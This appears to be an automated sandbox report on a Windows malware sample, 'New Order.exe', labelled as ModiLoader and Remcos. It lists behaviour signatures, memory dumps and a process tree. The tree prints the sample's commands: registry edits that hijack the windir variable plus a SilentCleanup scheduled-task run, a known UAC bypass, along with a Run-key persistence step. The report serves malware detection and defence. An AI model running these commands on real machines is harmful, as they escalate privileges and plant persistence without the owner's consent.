Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    31/08/2020, 11:29

General

  • Target
    New Order.exe
  • Size 567KB
  • Sample200831-yn2paymjqa
  • SHA256 4d1b436558291aa226a7342db8ff207bce093a7b329e10843101e7bf9974ea49
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 517 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\New Order.exe
    "C:\Users\Admin\AppData\Local\Temp\New Order.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SysWOW64\Notepad.exe
      "C:\Windows\System32\Notepad.exe"
      2⤵
        PID:1084
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Users\Public\Natso.bat
          3⤵
            PID:2656
            • C:\Windows\SysWOW64\reg.exe
              reg delete hkcu\Environment /v windir /f
              4⤵
              • Modifies registry key
              PID:2688
            • C:\Windows\SysWOW64\reg.exe
              reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
              4⤵
              • Modifies registry key
              PID:2700
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
              4⤵
                PID:2712
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Users\Public\Natso.bat
              3⤵
                PID:2724
            • C:\Program Files (x86)\internet explorer\ieinstal.exe
              "C:\Program Files (x86)\internet explorer\ieinstal.exe"
              2⤵
              • Suspicious use of SetWindowsHookEx
              PID:2740

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                memory/1084-4-0x00000000001A0000-0x00000000001A1000-memory.dmp

                memory/1084-2-0x00000000000E0000-0x00000000000E1000-memory.dmp

                memory/1084-243-0x0000000003C80000-0x0000000003C81000-memory.dmp

                memory/1480-242-0x0000000050480000-0x000000005049A000-memory.dmp

                memory/1480-0-0x00000000038E0000-0x000000000393A000-memory.dmp

                memory/1480-257-0x0000000010540000-0x0000000010563000-memory.dmp

                memory/2740-253-0x0000000000190000-0x0000000000191000-memory.dmp

                memory/2740-251-0x0000000000110000-0x0000000000111000-memory.dmp

                memory/2740-258-0x00000000001C0000-0x00000000001C1000-memory.dmp